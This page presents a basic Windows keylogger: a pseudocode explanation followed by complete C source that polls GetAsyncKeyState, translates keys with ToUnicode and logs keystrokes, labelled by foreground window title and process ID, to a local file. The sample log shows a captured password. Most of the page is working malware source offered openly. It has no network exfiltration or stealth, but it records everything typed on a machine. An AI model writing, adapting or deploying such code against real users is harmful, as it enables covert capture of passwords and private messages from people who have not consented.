Basic-Keylogger
What is it?
Polls every key (8–255) using GetAsyncKeyState in a loop with a 50ms delay, logs keystrokes and window title changes to Keylogger.txt. Tracks the active window so each batch of keystrokes is labeled with the process ID and window title of where they were typed.
How it works
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
main():
CreateFileW("Keylogger.txt", GENERIC_WRITE, CREATE_ALWAYS)
→ g_FileHandle = log file
loop forever:
for iKey = 8 to 255: (skips 0-7 = mouse buttons)
if GetAsyncKeyState(iKey) & 0x01:
→ key was pressed since last call
SaveKeystrokes(iKey)
Sleep(50) ← 50ms between polls (~20 checks/sec)
GetWindowTitle() [called once per keystroke]:
GetForegroundWindow() → CurrentWindow
GetWindowThreadProcessId(CurrentWindow, &ProcId)
GetWindowTextW(CurrentWindow, Buffer, 250)
if Buffer != g_TitleBuffer: ← window changed since last check
memcpy(g_TitleBuffer, Buffer)
swprintf(CurrentWindowTitle, L"\n\n[%ld] %ls\n", ProcId, g_TitleBuffer)
WriteFile(g_FileHandle, CurrentWindowTitle, wcslen(...) * sizeof(wchar_t))
↑ wchar_t size (2 bytes) because WriteFile takes bytes, not characters
SaveKeystrokes(iKey):
GetWindowTitle() ← log window if it changed
GetKeyboardState(Keyboard) ← current state of all 256 keys
(needed for shift/caps detection in ToUnicode)
switch(iKey):
VK_CONTROL, VK_ESCAPE, VK_RETURN,
VK_BACK, VK_TAB, VK_SPACE → skip (no output written)
default:
ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0)
→ converts virtual key + keyboard state to Unicode character
e.g. VK_A + Shift held → L"A", VK_A alone → L"a"
swprintf(Buffer, L"%ls", Unicode)
WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR))
Log format:
[1234] Chrome - Google
password123
[5678] Notepad - untitled
hello world
This uses polling (GetAsyncKeyState) rather than a system hook (SetWindowsHookEx). The tradeoff: polling is simpler to implement and doesn’t require a message pump thread, but it can miss keystrokes if a key is pressed and released within a 50ms window. A hook-based approach fires on every keydown event regardless of timing.
The GetKeyboardState call before ToUnicode is important — it captures the state of modifier keys (Shift, Caps Lock, AltGr) at the moment of the keystroke, which is what allows ToUnicode to correctly distinguish uppercase from lowercase, @ from 2, etc.
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <Windows.h>
#include <stdio.h>
#define KEY_STATE 0x01 // Checks if key pressed since last call
#define KEYLOG L"Keylogger.txt"
#define KEYLOG_BUFFER 250 // Set the buffer size that the keylogger is allowed to have
HANDLE g_FileHandle = NULL;
WCHAR g_TitleBuffer[KEYLOG_BUFFER + 1] = { 0 };
VOID GetWindowTitle() {
// Setup variables
WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
WCHAR CurrentWindowTitle[KEYLOG_BUFFER + 1] = { 0 };
DWORD ProcId = { 0 };
HWND CurrentWindow = { 0 };
DWORD dwNumBytesWritten = { 0 };
// Empty buffers
RtlSecureZeroMemory(Buffer, sizeof(Buffer));
RtlSecureZeroMemory(CurrentWindowTitle, sizeof(CurrentWindowTitle));
// Get Active window
if ((CurrentWindow = GetForegroundWindow())) {
// Retrieve window title name, so we can identify when a new window has been opend with its PID
GetWindowThreadProcessId(CurrentWindow, &ProcId);
// If no window has been detected, return
if (!GetWindowTextW(CurrentWindow, Buffer, (sizeof(Buffer) / sizeof(WCHAR)))) {
swprintf(Buffer, KEYLOG_BUFFER, L"(No Title Detected!) \n");
}
// Check if Window title has changed based on its privous handle
if (wcsncmp(g_TitleBuffer, Buffer, wcslen(Buffer)) != 0) {
// Copy title into buffer
memcpy(g_TitleBuffer, Buffer, sizeof(Buffer));
// Print title to log file (With WriteFile)
swprintf(CurrentWindowTitle, KEYLOG_BUFFER, L"\n\n[%ld] %ls\n", ProcId, g_TitleBuffer);
// wchar_t is needed because WriteFile expects num of bytes to write not the chars
if (!WriteFile(g_FileHandle, CurrentWindowTitle, wcslen(CurrentWindowTitle) * sizeof(wchar_t), &dwNumBytesWritten, NULL)) {
printf("[!] WriteFile Failed: %d \n", GetLastError());
return;
}
}
}
}
VOID SaveKeystrokes(_In_ UINT iKey) {
WCHAR Unicode[2] = { 0 };
BYTE Keyboard[256] = { 0 };
WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
DWORD dwNumBytesWritten = { 0 };
// Log current window
GetWindowTitle();
// Make sure KeyState is empty
GetKeyState(0);
GetKeyboardState(Keyboard);
switch (iKey) {
case VK_CONTROL: // CRTL key
break;
case VK_ESCAPE: // esc KEY
break;
case VK_RETURN: // backspace key
break;
case VK_BACK: // del key
break;
case VK_TAB: // tab key
break;
case VK_SPACE: // space key
break;
default:
// Translates specified vkey and keyboard state to the correspoinding unicode char(s)
if (ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0) > 0) {
swprintf(Buffer, KEYLOG_BUFFER, L"%ls", Unicode);
}
}
// Write logs to file
if (!WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR), &dwNumBytesWritten, NULL)) {
printf("[!] WriteFile Failed: %d \n", GetLastError());
return;
}
}
int main() {
// Write to file
g_FileHandle = CreateFileW(KEYLOG, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (g_FileHandle == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed: %d \n", GetLastError());
return -1;
}
printf("[+] Started KeyLogger! \n");
do {
// first 6 key are mouse clicks
for (INT iKey = 8; iKey < 256; iKey++) {
if (GetAsyncKeyState(iKey) & KEY_STATE) {
SaveKeystrokes(iKey);
}
}
// Implement 50 mili-sec delay to have less high CPU usage
Sleep(50);
} while (TRUE);
return 0;
}